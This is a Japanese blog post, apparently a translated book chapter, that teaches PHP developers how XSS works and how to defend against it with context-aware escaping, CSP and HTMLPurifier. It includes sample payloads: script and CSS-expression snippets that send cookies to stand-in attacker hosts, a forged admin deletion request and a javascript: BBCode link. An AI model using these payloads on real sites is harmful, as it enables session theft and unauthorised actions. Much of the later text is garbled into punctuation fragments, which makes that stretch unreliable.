👩🏻‍🏭 📱 🍋 「PHPのセキュリティ」という本（パート3）。クロスサイトスクリプティング（XSS） 🤙🏻 🔄 🕢

「PHPのセキュリティ」という本（パート1）

「PHPのセキュリティ」という本（パート2）

クロスサイトスクリプティング（XSS）は、おそらくWebアプリケーションで一般的に見られる最も一般的なタイプの脆弱性です。統計によると、何らかの形のサイトの約65％がXSS攻撃に対して脆弱です。このデータは私を怖がらせるのと同じようにあなたを怖がらせるはずです。

クロスサイトスクリプティングとは何ですか？

XSS攻撃は、攻撃者がWebアプリケーションによって発行されたページにスクリプト（多くの場合JavaScript）を埋め込み、クライアントのブラウザーで実行する機能を獲得したときに発生します。これは通常、HTMLデータのコンテキストをスクリプトコンテキストに切り替えることで行われます。ほとんどの場合、新しいHTML、Javascript、またはCSSマークアップが実装されます。 HTMLには、実行可能なスクリプトをページに追加できる十分な場所があり、ブラウザーはこれを行うための多くの方法を提供します。 HTTP要求パラメーターなどのWebアプリケーション入力は、コードを挿入できます。

XSSに関連する問題の1つは、プログラマによる絶え間ない過小評価です。これは、このような深刻なレベルの脆弱性では一般的ではありません。開発者は多くの場合、脅威の程度を認識せず、通常、誤った見方や悪いアプローチに基づいて保護を構築します。コードが十分なスキルと知識のない開発者によって書かれている場合、これは特にPHPに当てはまります。さらに、XSS攻撃の実際の例は単純で素朴に見えるため、それらを調査するプログラマーは、自分に合っている限り、保護は十分であると考えています。脆弱なサイトの65％がどこから来ているのかを簡単に確認できます。

攻撃者がJavaScriptをWebページに埋め込み、実行できる場合、ユーザーのブラウザでJavaScriptを実行できます。そして、それは完全な制御を提供します。実際、ブラウザの観点から、スクリプトはWebアプリケーションから取得されました。Webアプリケーションは自動的に信頼できるソースと見なされます。

したがって、私はあなたに思い出させたいです：現在のリクエストのためにPHP自体によって作成されなかったデータは信頼できません。これは、Webアプリケーションとは別のブラウザーに適用されます。

ブラウザは、サーバーから受信するすべてを信頼します。これは、クロスサイトスクリプティングの主な理由の1つです。幸いなことに、この問題は解決されました。これについては以下で説明します。

この原則は、ブラウザ自体のJavaScriptアプリケーション環境にさらに広く適用できます。クライアント側のJavaScriptコードは、非常に単純なものから非常に複雑なものまであり、多くの場合、別個のクライアント側Webアプリケーションです。このようなアプリケーションは、他のアプリケーションよりも悪く保護されるべきではありません。彼らは、リモートソース（サーバー上のアプリケーションを含む）から受信したデータを信頼してはならず、検証を適用し、DOMに表示されるコンテンツが正しくスクリーニングまたは処理されることを確認する必要があります。

埋め込みスクリプトは、さまざまなタスクに使用できます。これは：

Cookieおよび認証データの盗難、
ユーザーに代わってHTTPリクエストを行う、
ユーザーを感染したサイトにリダイレクトする、
ブラウザのローカルリポジトリを読み取り、変更するためのアクセス、
複雑な計算を実行し、結果を攻撃者のサーバーに送信します。
ブラウザにエクスプロイトを適用し、マルウェアをダウンロードする、
クリックジャックのユーザーアクティビティのエミュレーション、
ブラウザアプリケーションの上書きまたは制御の取得、
ブラウザ拡張機能への攻撃-

など、無期限に継続することができます。

インターフェースのスプーフィング（UI Redress、クリックジャッキング）

サーバーに対する直接攻撃は完全に独立していますが、クリックジャッキングはクロスサイトスクリプティングと密接にリンクしています。これは、攻撃に同様のベクトルセットを使用するためです。 1つの攻撃手法が別の攻撃手法の成功に役立つため、それらを区別するのが難しい場合があります。

インターフェイススプーフィングは、WebアプリケーションのユーザーUIを変更しようとする攻撃者の試みです。これにより、攻撃者は新しいリンク、新しいHTMLコードを導入して、元のインターフェイスのサイズを変更したり、非表示/ブロックしたりすることができます。

この章のほとんどは、XSSを使用したインターフェースの置き換えに焦点を当てています。ただし、フレームを実装に使用する場合、他の代替方法があります。これについては、第4章で詳しく説明します。

クロスサイトスクリプティングの例

攻撃者が、ユーザーがコメントの下に小さな署名を表示できるフォーラムに出会ったとしましょう。攻撃者はアカウントを作成し、届く範囲内のすべてのトピックをスパムし、メッセージに次の署名を適用します。

<script>document.write('<iframe src="http://evilattacker.com?cookie=' + document.cookie.escape() + '" height=0 width=0 />');</script>

奇跡的に、フォーラムエンジンはスパムトピックすべてにこの署名を含め、ユーザーはこのコードのダウンロードを開始します。結果は明らかです。攻撃者は、ページにiframe要素を挿入します。iframe要素は、ページの一番下に小さなドット（ゼロサイズ）として表示され、注意を引くことはありません。ブラウザはiframeのコンテンツのリクエストを送信し、GETパラメータの形式で各フォーラムメンバーのCookie値が攻撃者のURIに転送されます。それらは一致し、さらなる攻撃に使用できます。通常の参加者は攻撃者に関心がありませんが、よく計画されたトローリングは間違いなく、フォーラムへの管理アクセスを得るためにクッキーが非常に役立つモデレーターまたは管理者の注意を引き付けます。

これは簡単な例ですが、展開することもできます。攻撃者が、盗まれたCookieに関連付けられているユーザー名を知りたいとします。簡単！ DOMリクエストコードを攻撃者のURLに追加するだけで十分です。これにより、名前が返され、username = GETリクエストパラメータに含まれます。または、攻撃者はセッションの指紋保護をバイパスするためにブラウザー情報を必要としましたか？ navigator.userAgentにデータを含めるだけで十分です。

この単純な攻撃には多くの結果があります。たとえば、管理者権限を取得し、フォーラムを制御できます。したがって、XSS攻撃の能力を過小評価することは実用的ではありません。

もちろん、この例では攻撃者のアプローチに欠陥があります。保護する明白な方法を検討してください。機密データを含むすべてのCookieはHttpOnlyフラグでマークされ、JavaScriptがこれらのファイルのデータにアクセスすることを禁止します。基本的に、攻撃者がJavaScriptを実装すると、このスクリプトは何でもできることを覚えておく必要があります。攻撃者がCookieにアクセスできず、Cookieを使用して攻撃を実行できなかった場合、優秀なプログラマーがすべきことを実行します。効果的な自動攻撃のコードを作成します。

  <script> var params = 'type=topic&action=delete&id=347'; var http = new XMLHttpRequest(); http.open('POST', 'forum.com/admin_control.php', true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.setRequestHeader("Content-length", params.length); http.setRequestHeader("Connection", "close"); http.onreadystatechange = function() { if(http.readyState == 4 && http.status == 200) { // Do something else. } }; http.send(params); </script>

上記は、フォーラムトピックを削除するPOSTリクエストを送信する1つの方法を示しています。モデレーターに対してのみ機能するように設定できます（つまり、ユーザー名がどこかに表示されている場合、既知のモデレーターのリストと比較したり、モデレーターに適用されている特別なスタイルを見つけたりできます）。

上記からわかるように、HttpOnly Cookieは、XSSに対する保護での使用が制限されています。 Cookieのキャプチャをブロックしますが、XSS攻撃中の使用を防止しません。さらに、攻撃者は、自分自身を検出したくない場合に疑念を抱かせないように、目に見えるマークアップにマークを残さないことを好みます。

XSS攻撃の種類

XSS攻撃はいくつかの方法で分類できます。その1つは、悪意のある入力をWebアプリケーションに入力する方法に基づいています。アプリケーションの入力には、後続の出力要求に含めるために保存されている現在の要求の結果が含まれる場合があります。または、データをJavaScriptベースのDOM操作に渡すことができます。したがって、次のタイプの攻撃が取得されます。

反射型XSS攻撃

ここでは、Webアプリケーションに送信された信頼できない入力データは、アプリケーションの出力にすぐに含まれます。つまり、同じリクエストでサーバーからブラウザに「反映」されます。エラーメッセージ、検索資料、プレビューの投稿などでリフレクションが発生します。この攻撃フォームは、ユーザーがリンクをたどるか、攻撃者のフォームからデータを送信するように仕向けることができます。信頼できないリンクをクリックするようにユーザーに強制するには、ソーシャルエンジニアリング、インターフェイススプーフィング攻撃、またはリンク短縮サービスが必要になる場合があります。ソーシャルネットワークとリンク短縮サービス自体は、短縮リンクを使用したURLのなりすましに対して特に脆弱です。こうしたリンクはこれらのリソースで一般的であるためです。クリックしたものに注意して慎重にチェックしてください！

XSS Stored Attack

ユーザーがデータを表示するときに悪意のあるペイロードがどこかに保存および取得されると、攻撃は保存済みとして分類されます。データベースに加えて、キャッシュやログなど、長期的なデータストレージにも適した場所が他にもたくさんあります。ログの導入による既知の攻撃事例。

DOMベースのXSS攻撃

DOMベースの攻撃は、ミラー化または保存できます。違いは、攻撃の目的です。ほとんどの場合、彼らはすぐにHTMLドキュメントのレイアウトを変更しようとします。ただし、HTMLはDOMを使用してJavaScriptを使用して変更することもできます。 HTMLに正常に埋め込まれた要素は、JavaScriptのDOM操作で後で使用できます。攻撃は、JSライブラリの脆弱性または不適切な使用にもなります。

Crossiteスクリプトと展開コンテキスト

XSS攻撃は、その間にコンテキストが導入されると成功します。「コンテキスト」という用語は、ブラウザがHTMLドキュメントのコンテンツをどのように解釈するかを示します。ブラウザは、HTML、HTML、JavaScript、URL、CSSなどの多くの主要なコンテキストを認識します。

攻撃者の意図は、これらのコンテキストのいずれかを対象としたデータを取得し、ブラウザにそれらを別のコンテキストで解釈させることです。例：

 <div style="background:<?php echo $colour ?>;">

$カラーはユーザー設定データベースから入力され、テキストブロックの背景色に影響します。値は、HTML属性のコンテキストの子であるCSSコンテキストに入力されます。つまり、スタイル属性にCSSを追加しました。このようなコンテキストトラップを回避する必要はないように思えるかもしれませんが、次の例を見てください。

 $colour = "expression(document.write('<iframe src=" .= "http://evilattacker.com?cookie=' + document.cookie.escape() + " .= "' height=0 width=0 />'))"; <div style="background:<?php echo $colour ?>;">

攻撃者がこの色の実装に成功した場合、Internet Explorerで特定のJavaScriptを実行するCSS式を挿入できます。つまり、攻撃者は新しいJavaScriptコンテキストを導入することで現在のコンテキストを切り替えることができます。

前の例を見ると、一部の読者はエスケープを思い出します。使用します：

 $colour = "expression(document.write('<iframe src=" .= "http://evilattacker.com?cookie=' + document.cookie.escape() + " .= "' height=0 width=0 />'))"; <div style="background:<?php echo htmlspecialchars($colour, ENT_QUOTES, 'UTF-8') ?>;">

IEでこれをテストすると、非常に悪いことが起こっていることがすぐにわかります。 XSS攻撃は、htmlspecialchars（）関数でエスケープして$カラーを回避した後でも、引き続き正常に機能します！

これは、コンテキストを正しく理解することが重要です。各コンテキストには独自の特殊文字と異なるスクリーニングのニーズがあるため、各コンテキストには異なるエスケープ方法が必要です。 htmlspecialchars（）およびhtmlentities（）関数をどこにでも分散させ、Webアプリケーションが安全になるように祈るだけでは十分ではありません。

前の例で何が悪かったのですか？ブラウザがコンテキストを解釈する前にHTML属性のマスクを解除した原因は何ですか？ 2つのコンテキストをエスケープする必要があるという事実を無視しました。

最初に、CSSは$ colorをエスケープするはずでしたが、HTMLをエスケープするのはそれだけでした。これにより、$カラーが、角括弧、引用符、スペース、または式（）の埋め込みを許可するその他の文字なしで、正しい文字列リテラルに確実に変換されます。この属性が2つのコンテキストをカバーしていることを理解していないため、1つのHTML属性であるかのようにエスケープしました。かなり一般的な間違い。

この状況から教訓を学ぶことができます。コンテキストが重要です。 XSS攻撃では、攻撃者は常に現在のコンテキストからJavaScriptを実行できる別のコンテキストにジャンプしようとします。ネストに基づいてHTML出力ストリーム内のすべてのコンテキストを定義できる場合、XSSからWebアプリケーションを正常に保護するための10ステップに近づいています。

別の例を見てみましょう。

 <a href="http://www.example.com">Example.com</a>

信頼できない入力データを考慮しない場合、このコードは次のように分析できます。

URLコンテキスト、つまりhref属性の値があります。
HTML属性コンテキスト、つまりURLコンテキストの親があります。
HTML本文コンテキスト、つまり<a>

タグ内のテキストがあります。

これらは3つの異なるコンテキストです。そのため、データソースが信頼できないと特定された場合、最大3つのスクリーニング方法が必要になります。次のセクションでは、XSSに対する保護としてシールドを詳しく見ていきます。

クロスサイトスクリプティング保護

XSSから保護することは可能ですが、できればWebアプリケーションの開発の最初から、例外を避けて単純化することなく、保護を一貫して適用する必要があります。後の段階で保護を採用すると、費用がかかる場合があります。

入力検証

入力検証は、Webアプリケーションの最初の防衛線にすぎません。このタイプの保護では、信頼性の低いデータが現在どのように使用されているかのみがわかり、データを受信する段階では、さらにどこでどのように適用されるかを予測できません。これには、ほぼすべてのテキストデータが含まれます。これは、引用符、不等号括弧、およびその他の文字を記述する機能をユーザーに常に提供する必要があるためです。

検証は、制限値を持つデータに対するXSS攻撃を防止することにより最も効果的に機能します。整数にHTML固有の文字を含めることはできません。国名などのパラメーターは、事前に定義された実際の国のリストなどに対応する必要があります。

入力を検証すると、特定の構文でデータを制御できます。たとえば、有効なURLはプレフィックスhttp：//またはhttps：//で始まり、はるかに危険なjavascript：またはdata：構造ではなくする必要があります。実際、未検証の入力から取得したすべてのアドレスは、これらのタグをチェックする必要があります。 javascript：またはdata：URIのエスケープは、有効なURLのエスケープと同じ効果があります。つまり、効果はまったくありません。

入力検証では、XSS攻撃中に悪意のあるペイロード全体をブロックすることはできませんが、最も明らかな種類の攻撃を阻止できます。入力データの検証については、本の後半で詳しく説明しました。

エスケープ（およびエンコード）

出力データをスクリーニングすることにより、受信パーサーまたはインタープリターがデータを間違えないようにします。明らかな例は、HTMLタグを示す文字が少なくなることです。信頼できない入力データからこれらの文字を挿入できる場合、攻撃者はブラウザが描画する新しいタグを入力できます。通常、これらの文字は、sequencesおよび$ lt;に置き換えられます。

文字の置換には、エスケープされたデータの意味を保持することが含まれます。エスケープは、単に特定の意味を持つ文字を代替文字に置き換えます。通常、16進表現が使用されるか、HTMLシーケンスなどの読みやすいものが使用されます（使用が安全な場合）。

コンテキストの章で述べたように、エスケープの方法は、注入されるコンテンツのタイプによって異なります。 HTMLエスケープはJavaScriptエスケープとは異なり、JavaScriptエスケープはURLエスケープとは異なります。特定のコンテキストに対して誤ったスクリーニング戦略を使用すると、保護の非効率性につながり、攻撃者によって悪用される可能性のある脆弱性が作成される可能性があります。

シールドを容易にするために、この目的のために設計された別のクラスを使用することをお勧めします。 PHPは、必要なエスケープ機能をすべて提供することはできません。また、提案されている機能の多くは、ほとんどの開発者が考えるほど安全ではありません。

最も一般的なコンテキストに適用されるエスケープルールを見てみましょう：HTML本文、HTML、JavaScript、URL、およびCSS属性。

信頼できる場所からの入力以外のデータを入力しないでください

スクリーニング戦略を学ぶ前に、Webアプリケーションテンプレートがデータを置き忘れないことを確認する必要があります。これは、HTMLの機密領域にデータを埋め込むことを指します。これにより、攻撃者は、マークアップの処理順序に影響を与えることができ、通常、プログラマが使用するときにエスケープする必要はありません。 [...]が埋め込みデータである例を見てみましょう。

 <script>...</script> <!--...--> <div ...="test"/> <... href="http://www.example.com"/> <style>...</style>

上記の各場所は危険です。文字列リテラルと数値リテラル以外のスクリプトタグのデータを解決することで、攻撃にJavaScriptを埋め込むことができます。 HTMLコメントに配置されたデータを使用して、Internet Explorerの条件やその他の予期しないアクションをトリガーできます。攻撃者がタグや属性名に影響を与えることを誰も許可しないため、次の2つの場所はより明白です。最後に、スクリプトの場合のように、攻撃者が直接CSSに自分自身を注入することを許可することはできません。これにより、インターフェイススプーフィング攻撃を実行し、Internet Explorerがサポートするexpression（）関数を使用してスクリプトを実行できるようになります。

データをHTML本文に埋め込む前に、常にHTMLをエスケープします

HTML本文コンテキストは、タグで囲まれたテキストコンテンツを指します。たとえば、テキストを格納するための<body>

、 <div>

タグ、またはその他のペアのタグ間のテキスト。タグのコンテンツに埋め込まれたデータは、HTMLエスケープする必要があります。

HTMLエスケープは、PHPでhtmlspecialchars（）関数としてよく知られています。

コンテキストにデータを埋め込む前に、常にHTML属性をエスケープします

HTML属性のコンテキストは、ブラウザによってCDATAとして解釈されるプロパティを除き、要素のすべての値を参照します。この例外はやや紛らわしいですが、ほとんどの場合、非XMLベースのHTML標準を参照します。この標準では、JavaScriptを非スクリーニング形式でイベントの属性に含めることができます。他のすべての属性には、次の2つのオプションがあります。

属性値が引用符で囲まれている場合、HTMLエスケープを使用できます。
ただし、値が引用符なしで指定されている場合は、エスケープHTML属性を使用する必要があります。

また、2番目のオプションは、属性をキャストするためのルールが不明確な場合に適用されます。たとえば、HTML5では、引用符なしで属性値を使用することは非常に受け入れられると考えられており、実際のプロジェクトではそのような「スマートな」アプローチの多くの例がすでにあります。理解できない状況では、注意して進めてください。

データ値に埋め込む前に常にJavaScriptをエスケープする

JavaScriptデータ値は、ほとんどが文字列値です。数字をエスケープすることはできないため、追加のルールがあります。常に数字の有効性を確認してください...

コンテンツ保護ポリシー

クロスサイトスクリプティングに関するすべての重要な要素は、コードインジェクションのソースに関係なく、ブラウザがサーバーから受け取ったすべてのJavaScriptコードを問題なく実行することです。 HTMLドキュメントを受信すると、ブラウザはどの埋め込みリソースが安全で、どのリソースが安全でないかを見つけることができません。そして、それを変更できるとしたら？

コンテンツ保護ポリシー（CSP）は、ブラウザーが信頼できる信頼できるリソースソースのホワイトリストを渡すHTTPヘッダーです。許可リストにリストされていないソースは、信頼できないと見なされ、単に無視されます。以下を考慮してください。

 X-Content-Security-Policy: script-src 'self'

このCSPヘッダーは、現在のドメインを指すJavaScriptソースアドレスのみを信頼するようブラウザに指示します。ブラウザがこのソースからスクリプトをロードした後、他のすべてを完全に無視します。つまり、 http://attacker.com/naughty.jsは、攻撃者がなんとかしてそれを実装しようとするとロードされません。さらに、タグなどのすべての組み込みスクリプト

ソースアドレス以外のソースからJavaScriptを使用する必要がある場合は、ホワイトリストに含めることができます。たとえば、jQuery CDNアドレスを追加しましょう。

 X-Content-Security-Policy: script-src 'self' http://code.jquery.com

CSSスタイルシートへのパスなど、他のリソースディレクティブを追加して、ディレクティブと許可アドレスをセミコロンで区切ることができます。

 X-Content-Security-Policy: script-src 'self' http://code.jquery.com; style-src 'self'

ヘッダー値の形式は非常に単純です。値は、script-srcディレクティブと、それに続くホワイトリストとして使用されるスペース区切りのソースのリストで構成されます。ソースは、 'self'などの引用符で囲まれたキーワード、またはURLです。 URL値は、結果のリストにマッピングされます。 URLにない情報は、HTMLドキュメントで自由に変更できます。ご注意 http://code.jquery.comは、スクリプトのダウンロードを禁止します http://jquery.comまたは http://domainx.jquery.com 。許可されたドメインを明示的に設定したため。すべてのサブドメインを許可するには、単に指定することができます http://jquery.com 同じことがローカルパス、ポート、URLスキームなどにも当てはまります。

CSPホワイトリストの本質は簡単です。特定のタイプのリソースのリストを作成する場合、それを入力しないものはすべてロードされません。リソースタイプのリストを定義しない場合、ブラウザはデフォルトでこのタイプのすべてのリソースを破棄します。

次のリソースディレクティブがサポートされています。

connect-src： xmlhttprequest、Webソケットなどを使用して接続できるソースを制限します。
font-src： Webフォントのソースを制限します。
frame-src：フレームのURLを制限します。
img-src：画像ソースを制限します。
media-src：ビデオおよびオーディオソースを制限します。
object-src： Flashおよびその他のプラグインのソースを制限します。
script-src：スクリプトファイルのソースを制限します。
style-src： CSSのソースを制限します。

安全な標準パラメータを設定するために、特別なディレクティブdefault-srcがあります。これを使用して、リストされたすべてのカテゴリへのリンクを最初にホワイトリストに追加できます。

 X-Content-Security-Policy: default-src 'self'; script-src 'self' http://code.jquery.com

これにより、許可されるリソースは現在のドメインに制限されますが、jQueryスクリプトの例外も追加されます。 , .

URL, , :

 'none' 'self' 'unsafe-inline' 'unsafe-eval'

unsafe, . . «»? CSP — , . inline- ? inline-, - inline- . addEventListener() . , , ? . . 'unsafe-inline' CSP.

'none' «». , . , - , CSP , :

 X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'

. CSP — , X-Content-Security-Policy, , WebKit-, Safari Chrome. WebKit .

 X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self' X-WebKit-CSP: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'

HTML

- - HTML- - . : , , RSS Atom. , , , , .

, HTML- « », « »? - HTML- , BBCode, Markdown Textile. PHP — , XSS-. . — , HTML. HTML, SGML-. HTML — .

HTML . , — . HTML - « ». . , HTML.

 [url=javascript:alert('I can haz Cookie?n'+document.cookie)]Free Bitcoins Here![/url]

BB- HTML , . , HTTP URL' . Markdown:

 I am a Markdown paragraph.<script>document.write('<iframe src=”http://attacker.com?cookie=' + document.cookie.escape() + '” height=0 width=0 />');</script> There's no need to panic. I swear I am just plain text!

Markdown — HTML, HTML Markdown. , Markdown XSS-.

, HTML , , . . , .

HTML — , , . , , PHP , , . «» , .

PHP, HTML, — HTMLPurifier. , , . HTMLPurifier , , :

 // Basic setup without a cache $config = HTMLPurifier_Config::createDefault(); $config->set('Core', 'Encoding', 'UTF-8'); $config->set('HTML', 'Doctype', 'HTML 4.01 Transitional'); // Create the whitelist $config->set('HTML.Allowed', 'p,b,a[href],i'); // basic formatting and links $sanitiser = new HTMLPurifier($config); $output = $sanitiser->purify($untrustedHtml);

HTML-, , .

[ ]

「PHPのセキュリティ」という本（パート3）。 クロスサイトスクリプティング（XSS）